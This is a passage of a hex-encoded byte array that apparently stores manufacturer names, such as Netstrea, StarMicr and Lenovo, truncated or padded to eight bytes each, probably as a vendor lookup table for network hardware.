0x65, 0x6e,\r\n0x49, 0x74, 0x78, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x41, 0x72, 0x74, 0x64, 0x69, 0x6f, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x73, 0x74, 0x72, 0x65, 0x61,\r\n0x53, 0x74, 0x61, 0x72, 0x4d, 0x69, 0x63, 0x72,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x44, 0x65,\r\n0x41, 0x63, 0x61, 0x72, 0x64, 0x54, 0x65, 0x63,\r\n0x5a, 0x6e, 0x79, 0x78, 0x4e, 0x65, 0x74, 0x77,\r\n0x54, 0x61, 0x65, 0x6c, 0x69, 0x6d, 0x45, 0x6c,\r\n0x48, 0x6f, 0x6d, 0x65, 0x6c, 0x6f, 0x67, 0x69,\r\n0x45, 0x6d, 0x73, 0x53, 0x61, 0x74, 0x63, 0x6f,\r\n0x44, 0x6f, 0x6d, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x61, 0x6e, 0x77, 0x61, 0x6e, 0x67, 0x4d,\r\n0x50, 0x65, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x49,\r\n0x4e, 0x65, 0x74, 0x66, 0x6f, 0x72, 0x79, 0x6f,\r\n0x47, 0x73, 0x63, 0x53, 0x72, 0x6c, 0x00, 0x00,\r\n0x44, 0x65, 0x78, 0x74, 0x65, 0x72, 0x43, 0x6f,\r\n0x43, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x74, 0x6f,\r\n0x4d, 0x6f, 0x6a, 0x6f, 0x4e, 0x65, 0x74, 0x77,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x61, 0x6d,\r\n0x43, 0x6f, 0x61, 0x78, 0x69, 0x61, 0x6c, 0x4e,\r\n0x43, 0x68, 0x69, 0x72, 0x6f, 0x6e, 0x54, 0x65,\r\n0x53, 0x69, 0x6e, 0x67, 0x75, 0x6c, 0x61, 0x72,\r\n0x53, 0x69, 0x6e, 0x67, 0x69, 0x6d, 0x49, 0x6e,\r\n0x42, 0x63, 0x68, 0x69, 0x4c, 0x61, 0x62, 0x00,\r\n0x45, 0x2d, 0x5a, 0x79, 0x4e, 0x65, 0x74, 0x00,\r\n0x5a, 0x6d, 0x64, 0x41, 0x6d, 0x65, 0x72, 0x69,\r\n0x4d, 0x69, 0x64, 0x6d, 0x61, 0x72, 0x6b, 0x00,\r\n0x4e, 0x65, 0x6f, 0x74, 0x75, 0x6e, 0x65, 0x49,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x6e, 0x65,\r\n0x49, 0x6d, 0x69, 0x4e, 0x6f, 0x72, 0x67, 0x72,\r\n0x48, 0x75, 0x6d, 0x6f, 0x4c, 0x61, 0x62, 0x6f,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x74, 0x65, 0x67, 0x6f, 0x72, 0x79,\r\n0x41, 0x65, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x56, 0x69, 0x65, 0x77, 0x74, 0x72, 0x61, 0x6e,\r\n0x48, 0x61, 0x6e, 0x63, 0x68, 0x61, 0x6e, 0x67,\r\n0x48, 0x61, 0x6c, 0x79, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x75, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e,\r\n0x43, 0x74, 0x73, 0x2d, 0x43, 0x6c, 0x69, 0x6d,\r\n0x43, 0x68, 0x69, 0x4d, 0x65, 0x69, 0x43, 0x6f,\r\n0x41, 0x63, 0x74, 0x75, 0x61, 0x6c, 0x69, 0x74,\r\n0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69,\r\n0x50, 0x72, 0x69, 0x73, 0x6d, 0x4d, 0x65, 0x64,\r\n0x32, 0x77, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x6b, 0x65, 0x72, 0x69, 0x61, 0x53,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x79, 0x6e, 0x65,\r\n0x45, 0x70, 0x26, 0x54, 0x45, 0x6e, 0x65, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x6e, 0x66, 0x6f, 0x54,\r\n0x56, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6e, 0x67,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x4e, 0x65,\r\n0x4c, 0x61, 0x6e, 0x72, 0x65, 0x61, 0x64, 0x79,\r\n0x4a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x54,\r\n0x46, 0x6f, 0x72, 0x74, 0x75, 0x6e, 0x61, 0x45,\r\n0x53, 0x79, 0x70, 0x69, 0x78, 0x78, 0x4e, 0x65,\r\n0x49, 0x6e, 0x66, 0x69, 0x6c, 0x63, 0x6f, 0x44,\r\n0x4d, 0x6f, 0x69, 0x6d, 0x73, 0x74, 0x6f, 0x6e,\r\n0x55, 0x6e, 0x69, 0x63, 0x6c, 0x61, 0x73, 0x73,\r\n0x54, 0x72, 0x75, 0x73, 0x74, 0x61, 0x62, 0x6c,\r\n0x53, 0x69, 0x6d, 0x74, 0x65, 0x63, 0x45, 0x6c,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x6c, 0x69, 0x6e,\r\n0x46, 0x6f, 0x72, 0x74, 0x65, 0x6c, 0x69, 0x6e,\r\n0x42, 0x6c, 0x75, 0x65, 0x65, 0x78, 0x70, 0x65,\r\n0x32, 0x30, 0x30, 0x31, 0x54, 0x65, 0x63, 0x68,\r\n0x59, 0x6f, 0x73, 0x68, 0x69, 0x6d, 0x69, 0x79,\r\n0x4f, 0x70, 0x65, 0x6e, 0x49, 0x6e, 0x74, 0x65,\r\n0x4f, 0x63, 0x74, 0x61, 0x6c, 0x69, 0x78, 0x42,\r\n0x4c, 0x69, 0x65, 0x62, 0x68, 0x65, 0x72, 0x72,\r\n0x49, 0x6e, 0x6e, 0x65, 0x72, 0x52, 0x61, 0x6e,\r\n0x45, 0x6c, 0x65, 0x78, 0x6f, 0x6c, 0x50, 0x74,\r\n0x42, 0x6f, 0x6d, 0x62, 0x61, 0x72, 0x64, 0x69,\r\n0x41, 0x67, 0x70, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x41, 0x65, 0x73, 0x79, 0x73, 0x53, 0x50, 0x41,\r\n0x41, 0x64, 0x61, 0x79, 0x54, 0x65, 0x63, 0x68,\r\n0x34, 0x70, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x46, 0x69,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x65, 0x69,\r\n0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x6c,\r\n0x54, 0x65, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x52, 0x61, 0x79, 0x6d, 0x61, 0x72, 0x69, 0x6e,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6f, 0x6d,\r\n0x4d, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x52, 0x61, 0x6e, 0x67,\r\n0x4a, 0x61, 0x63, 0x6f, 0x62, 0x73, 0x6f, 0x6e,\r\n0x41, 0x78, 0x73, 0x75, 0x6e, 0x54, 0x65, 0x63,\r\n0x55, 0x62, 0x69, 0x73, 0x65, 0x6e, 0x73, 0x65,\r\n0x54, 0x68, 0x72, 0x61, 0x6e, 0x65, 0x54, 0x68,\r\n0x54, 0x61, 0x6e, 0x64, 0x62, 0x65, 0x72, 0x67,\r\n0x53, 0x6f, 0x66, 0x74, 0x49, 0x6d, 0x61, 0x67,\r\n0x50, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x69,\r\n0x4e, 0x65, 0x78, 0x74, 0x67, 0x65, 0x6e, 0x74,\r\n0x4e, 0x65, 0x74, 0x65, 0x6e, 0x72, 0x69, 0x63,\r\n0x48, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x61, 0x00,\r\n0x45, 0x77, 0x65, 0x72, 0x6b, 0x73, 0x00, 0x00,\r\n0x54, 0x69, 0x76, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x76, 0x61, 0x61, 0x73, 0x54, 0x65,\r\n0x4c, 0x61, 0x6e, 0x64, 0x2d, 0x43, 0x65, 0x6c,\r\n0x47, 0x6c, 0x75, 0x6e, 0x7a, 0x4a, 0x65, 0x6e,\r\n0x46, 0x72, 0x6f, 0x6d, 0x75, 0x73, 0x54, 0x65,\r\n0x45, 0x75, 0x72, 0x69, 0x6c, 0x6f, 0x67, 0x69,\r\n0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x45,\r\n0x55, 0x2d, 0x4d, 0x65, 0x64, 0x69, 0x61, 0x43,\r\n0x41, 0x72, 0x63, 0x65, 0x6c, 0x69, 0x6b, 0x41,\r\n0x48, 0x75, 0x61, 0x4a, 0x75, 0x6e, 0x67, 0x43,\r\n0x44, 0x61, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x45,\r\n0x4b, 0x63, 0x6f, 0x64, 0x65, 0x73, 0x00, 0x00,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x73, 0x61, 0x74,\r\n0x54, 0x69, 0x78, 0x69, 0x43, 0x6f, 0x6d, 0x00,\r\n0x53, 0x74, 0x61, 0x72, 0x6e, 0x65, 0x78, 0x00,\r\n0x49, 0x77, 0x69, 0x63, 0x73, 0x00, 0x00, 0x00,\r\n0x41, 0x76, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x38, 0x30, 0x32, 0x47, 0x6c, 0x6f, 0x62, 0x61,\r\n0x45, 0x73, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x44,\r\n0x57, 0x69, 0x64, 0x65, 0x66, 0x75, 0x6c, 0x00,\r\n0x51, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x71, 0x00,\r\n0x49, 0x6e, 0x73, 0x74, 0x69, 0x74, 0x75, 0x74,\r\n0x4e, 0x65, 0x6f, 0x6d, 0x65, 0x64, 0x69, 0x61,\r\n0x57, 0x6f, 0x6f, 0x72, 0x69, 0x2d, 0x4e, 0x65,\r\n0x41, 0x73, 0x6b, 0x65, 0x79, 0x43, 0x6f, 0x6d,\r\n0x41, 0x73, 0x69, 0x61, 0x50, 0x61, 0x63, 0x69,\r\n0x41, 0x69, 0x72, 0x61, 0x79, 0x61, 0x00, 0x00,\r\n0x52, 0x61, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x65, 0x69, 0x79, 0x6f, 0x53, 0x79, 0x73,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x6f, 0x54,\r\n0x44, 0x65, 0x63, 0x72, 0x61, 0x6e, 0x65, 0x41,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x6e, 0x65, 0x74,\r\n0x55, 0x31, 0x30, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x54, 0x65, 0x72, 0x72, 0x61, 0x73, 0x61, 0x74,\r\n0x49, 0x71, 0x75, 0x65, 0x73, 0x74, 0x4e, 0x7a,\r\n0x48, 0x65, 0x61, 0x64, 0x53, 0x74, 0x72, 0x6f,\r\n0x47, 0x61, 0x6e, 0x74, 0x6e, 0x65, 0x72, 0x49,\r\n0x46, 0x61, 0x73, 0x74, 0x72, 0x61, 0x78, 0x00,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x73, 0x79, 0x73,\r\n0x43, 0x65, 0x2d, 0x49, 0x6e, 0x66, 0x6f, 0x73,\r\n0x41, 0x62, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x49, 0x65, 0x65, 0x65, 0x38, 0x30, 0x32, 0x33,\r\n0x57, 0x69, 0x64, 0x65, 0x72, 0x61, 0x79, 0x00,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x6e,\r\n0x50, 0x6c, 0x75, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x68, 0x6d, 0x00,\r\n0x4b, 0x6f, 0x65, 0x6e, 0x69, 0x67, 0x42, 0x61,\r\n0x49, 0x73, 0x74, 0x6f, 0x72, 0x4e, 0x65, 0x74,\r\n0x49, 0x63, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x41, 0x72, 0x75, 0x7a, 0x65, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x44,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x53, 0x6f,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x44, 0x65, 0x76,\r\n0x50, 0x61, 0x72, 0x72, 0x6f, 0x74, 0x53, 0x61,\r\n0x4e, 0x65, 0x74, 0x66, 0x61, 0x62, 0x72, 0x69,\r\n0x48, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x49,\r\n0x43, 0x61, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x42, 0x42, 0x72, 0x61, 0x75, 0x6e, 0x4d, 0x65,\r\n0x53, 0x6b, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x55,\r\n0x50, 0x69, 0x78, 0x69, 0x6d, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x71, 0x6c, 0x00, 0x00, 0x00,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x44, 0x69, 0x72,\r\n0x44, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x65, 0x61, 0x73,\r\n0x56, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x6c,\r\n0x56, 0x69, 0x72, 0x62, 0x69, 0x61, 0x67, 0x65,\r\n0x53, 0x6f, 0x65, 0x6e, 0x65, 0x6e, 0x43, 0x6f,\r\n0x53, 0x69, 0x6e, 0x65, 0x74, 0x74, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x65, 0x69, 0x45, 0x6c, 0x65,\r\n0x50, 0x69, 0x63, 0x61, 0x73, 0x6f, 0x49, 0x6e,\r\n0x4c, 0x65, 0x77, 0x69, 0x7a, 0x43, 0x6f, 0x6d,\r\n0x4a, 0x72, 0x63, 0x54, 0x6f, 0x6b, 0x6b, 0x69,\r\n0x43, 0x61, 0x6d, 0x69, 0x6c, 0x6c, 0x65, 0x42,\r\n0x41, 0x6e, 0x64, 0x72, 0x65, 0x77, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x73, 0x65, 0x6e, 0x74, 0x72,\r\n0x54, 0x65, 0x78, 0x61, 0x73, 0x49, 0x6e, 0x73,\r\n0x53, 0x65, 0x74, 0x61, 0x62, 0x6f, 0x78, 0x54,\r\n0x53, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x63,\r\n0x4b, 0x65, 0x72, 0x6f, 0x41, 0x70, 0x73, 0x00,\r\n0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x52, 0x75,\r\n0x47, 0x65, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x72, 0x75, 0x6e, 0x65, 0x54, 0x65, 0x63,\r\n0x41, 0x6d, 0x6f, 0x69, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x32, 0x69, 0x4d, 0x61, 0x72, 0x6b, 0x65,\r\n0x4d, 0x69, 0x6c, 0x6c, 0x65, 0x6e, 0x6e, 0x69,\r\n0x5a, 0x65, 0x6c, 0x6c, 0x77, 0x65, 0x67, 0x65,\r\n0x54, 0x4f, 0x4d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x44, 0x65, 0x64, 0x69, 0x63, 0x61, 0x74, 0x65,\r\n0x42, 0x62, 0x77, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x64, 0x75, 0x63, 0x6f, 0x6e, 0x42,\r\n0x58, 0x61, 0x63, 0x41, 0x75, 0x74, 0x6f, 0x6d,\r\n0x50, 0x65, 0x6e, 0x74, 0x61, 0x69, 0x72, 0x54,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x41, 0x69, 0x72,\r\n0x53, 0x69, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x43, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x64, 0x65, 0x76,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x54,\r\n0x4e, 0x65, 0x74, 0x65, 0x66, 0x66, 0x65, 0x63,\r\n0x4c, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d,\r\n0x4c, 0x65, 0x61, 0x70, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x69, 0x73, 0x50,\r\n0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x45, 0x6c,\r\n0x4b, 0x61, 0x69, 0x6d, 0x65, 0x69, 0x45, 0x6c,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x48, 0x69, 0x6c,\r\n0x43, 0x61, 0x65, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x77, 0x69, 0x6e, 0x64, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x61, 0x6e, 0x74, 0x6f, 0x6e, 0x4d,\r\n0x41, 0x64, 0x61, 0x70, 0x74, 0x69, 0x78, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x56, 0x6f, 0x69, 0x63,\r\n0x44, 0x61, 0x75, 0x6d, 0x45, 0x6c, 0x65, 0x63,\r\n0x45, 0x6e, 0x65, 0x72, 0x64, 0x79, 0x6e, 0x65,\r\n0x53, 0x77, 0x69, 0x73, 0x73, 0x63, 0x6f, 0x6d,\r\n0x49, 0x70, 0x73, 0x44, 0x4f, 0x4f, 0x00, 0x00,\r\n0x56, 0x61, 0x6c, 0x75, 0x65, 0x45, 0x6c, 0x65,\r\n0x4f, 0x70, 0x74, 0x6f, 0x65, 0x6c, 0x65, 0x63,\r\n0x41, 0x73, 0x63, 0x61, 0x6c, 0x61, 0x64, 0x65,\r\n0x56, 0x69, 0x73, 0x6f, 0x6e, 0x69, 0x63, 0x54,\r\n0x55, 0x6e, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69,\r\n0x53, 0x65, 0x69, 0x64, 0x65, 0x6c, 0x45, 0x6c,\r\n0x52, 0x61, 0x79, 0x73, 0x6f, 0x6e, 0x54, 0x65,\r\n0x4e, 0x67, 0x65, 0x73, 0x44, 0x65, 0x6e, 0x72,\r\n0x4d, 0x65, 0x61, 0x73, 0x75, 0x72, 0x65, 0x6d,\r\n0x52, 0x65, 0x64, 0x75, 0x78, 0x43, 0x6f, 0x6d,\r\n0x53, 0x74, 0x6f, 0x6b, 0x65, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x74, 0x4c, 0x61, 0x62, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x74, 0x69, 0x6c, 0x6c, 0x61,\r\n0x43, 0x67, 0x50, 0x6f, 0x77, 0x65, 0x72, 0x49,\r\n0x4b, 0x6f, 0x72, 0x65, 0x6e, 0x69, 0x78, 0x54,\r\n0x53, 0x61, 0x6e, 0x79, 0x75, 0x49, 0x6e, 0x64,\r\n0x56, 0x69, 0x61, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x53, 0x77, 0x65, 0x67, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x61, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4c,\r\n0x51, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x4c, 0x61, 0x62, 0x33, 0x33, 0x53, 0x72, 0x6c,\r\n0x47, 0x69, 0x7a, 0x6d, 0x6f, 0x6e, 0x64, 0x6f,\r\n0x45, 0x6e, 0x64, 0x65, 0x76, 0x63, 0x6f, 0x00,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x53,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x79, 0x4e,\r\n0x57, 0x6f, 0x6f, 0x64, 0x77, 0x61, 0x72, 0x64,\r\n0x53, 0x74, 0x62, 0x44, 0x61, 0x74, 0x65, 0x6e,\r\n0x51, 0x2d, 0x46, 0x72, 0x65, 0x65, 0x41, 0x73,\r\n0x4d, 0x6f, 0x6e, 0x74, 0x69, 0x6c, 0x69, 0x6f,\r\n0x4b, 0x77, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x47, 0x72, 0x69, 0x66, 0x66, 0x69, 0x6e, 0x54,\r\n0x47, 0x65, 0x45, 0x6e, 0x65, 0x72, 0x67, 0x79,\r\n0x41, 0x69, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00,\r\n0x41, 0x64, 0x64, 0x6c, 0x6f, 0x67, 0x69, 0x78,\r\n0x4f, 0x32, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x00,\r\n0x4d, 0x69, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x4b, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x6c,\r\n0x49, 0x72, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x32, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x59, 0x75, 0x6c, 0x69, 0x6e, 0x65, 0x74, 0x00,\r\n0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x74,\r\n0x53, 0x75, 0x72, 0x66, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x52, 0x61, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x64,\r\n0x42, 0x6c, 0x75, 0x65, 0x70, 0x61, 0x63, 0x6b,\r\n0x56, 0x69, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x74,\r\n0x54, 0x68, 0x69, 0x6e, 0x67, 0x6d, 0x61, 0x67,\r\n0x44, 0x6f, 0x6c, 0x70, 0x68, 0x69, 0x6e, 0x49,\r\n0x44, 0x6f, 0x6c, 0x62, 0x79, 0x41, 0x75, 0x73,\r\n0x49, 0x73, 0x72, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x49, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x49, 0x65, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x6c, 0x69, 0x66, 0x65, 0x00, 0x00,\r\n0x4f, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x74, 0x65,\r\n0x49, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x6c, 0x73, 0x48, 0x61, 0x72, 0x64, 0x2d,\r\n0x45, 0x6c, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63,\r\n0x45, 0x66, 0x6f, 0x72, 0x65, 0x4f, 0x79, 0x6a,\r\n0x44, 0x61, 0x69, 0x4e, 0x69, 0x70, 0x70, 0x6f,\r\n0x41, 0x76, 0x6f, 0x6c, 0x69, 0x74, 0x65, 0x73,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x57,\r\n0x57, 0x6f, 0x72, 0x6b, 0x4d, 0x69, 0x63, 0x72,\r\n0x56, 0x69, 0x61, 0x6c, 0x74, 0x61, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x74, 0x61, 0x42, 0x61, 0x72,\r\n0x50, 0x74, 0x77, 0x46, 0x72, 0x65, 0x69, 0x62,\r\n0x47, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x69,\r\n0x46, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x63, 0x68, 0x6f, 0x6c, 0x61, 0x62, 0x4c,\r\n0x41, 0x76, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x4d,\r\n0x41, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x63, 0x61, 0x64, 0x79, 0x61, 0x6e,\r\n0x48, 0x6f, 0x74, 0x6c, 0x61, 0x76, 0x61, 0x00,\r\n0x43, 0x68, 0x65, 0x63, 0x6b, 0x50, 0x6f, 0x69,\r\n0x41, 0x70, 0x65, 0x78, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x69, 0x74, 0x53, 0x41, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x73, 0x65, 0x6f, 0x6e, 0x00, 0x00,\r\n0x56, 0x2d, 0x53, 0x68, 0x6f, 0x77, 0x54, 0x65,\r\n0x54, 0x67, 0x63, 0x41, 0x6d, 0x65, 0x72, 0x69,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x61, 0x79, 0x54,\r\n0x50, 0x65, 0x72, 0x66, 0x65, 0x63, 0x74, 0x54,\r\n0x4d, 0x65, 0x63, 0x68, 0x61, 0x74, 0x72, 0x6f,\r\n0x43, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x74, 0x61, 0x74, 0x65, 0x6b, 0x00,\r\n0x41, 0x73, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x6f, 0x73, 0x73, 0x65, 0x6e, 0x2d, 0x4d,\r\n0x5a, 0x65, 0x74, 0x74, 0x61, 0x00, 0x00, 0x00,\r\n0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x59,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x6f, 0x4e,\r\n0x5a, 0x69, 0x65, 0x68, 0x6c, 0x49, 0x6e, 0x64,\r\n0x53, 0x75, 0x6e, 0x63, 0x6f, 0x72, 0x70, 0x49,\r\n0x53, 0x68, 0x65, 0x6e, 0x67, 0x71, 0x75, 0x49,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x43, 0x6f, 0x6d,\r\n0x4e, 0x6f, 0x76, 0x6f, 0x6d, 0x61, 0x74, 0x69,\r\n0x43, 0x6f, 0x64, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x6c, 0x69, 0x61, 0x6e, 0x74, 0x4e,\r\n0x41, 0x6c, 0x61, 0x78, 0x61, 0x6c, 0x61, 0x4e,\r\n0x41, 0x67, 0x61, 0x74, 0x2d, 0x52, 0x74, 0x00,\r\n0x54, 0x69, 0x6d, 0x65, 0x41, 0x6d, 0x65, 0x72,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x65, 0x63, 0x43,\r\n0x50, 0x72, 0x6f, 0x6a, 0x65, 0x63, 0x74, 0x65,\r\n0x41, 0x62, 0x62, 0x65, 0x79, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x50, 0x64, 0x68, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x4d, 0x6f, 0x76, 0x61, 0x63, 0x6f, 0x6c, 0x6f,\r\n0x41, 0x76, 0x67, 0x41, 0x64, 0x76, 0x61, 0x6e,\r\n0x4f, 0x6e, 0x65, 0x61, 0x63, 0x63, 0x65, 0x73,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x72,\r\n0x49, 0x66, 0x6f, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x62,\r\n0x42, 0x65, 0x6c, 0x63, 0x6f, 0x49, 0x6e, 0x74,\r\n0x49, 0x6d, 0x61, 0x72, 0x64, 0x61, 0x4e, 0x65,\r\n0x4d, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x58, 0x69,\r\n0x57, 0x6e, 0x69, 0x52, 0x65, 0x73, 0x6f, 0x75,\r\n0x55, 0x72, 0x79, 0x75, 0x53, 0x65, 0x69, 0x73,\r\n0x54, 0x68, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x53, 0x79,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x75, 0x73, 0x49,\r\n0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x4d, 0x6f,\r\n0x4c, 0x65, 0x6c, 0x79, 0x49, 0x6e, 0x64, 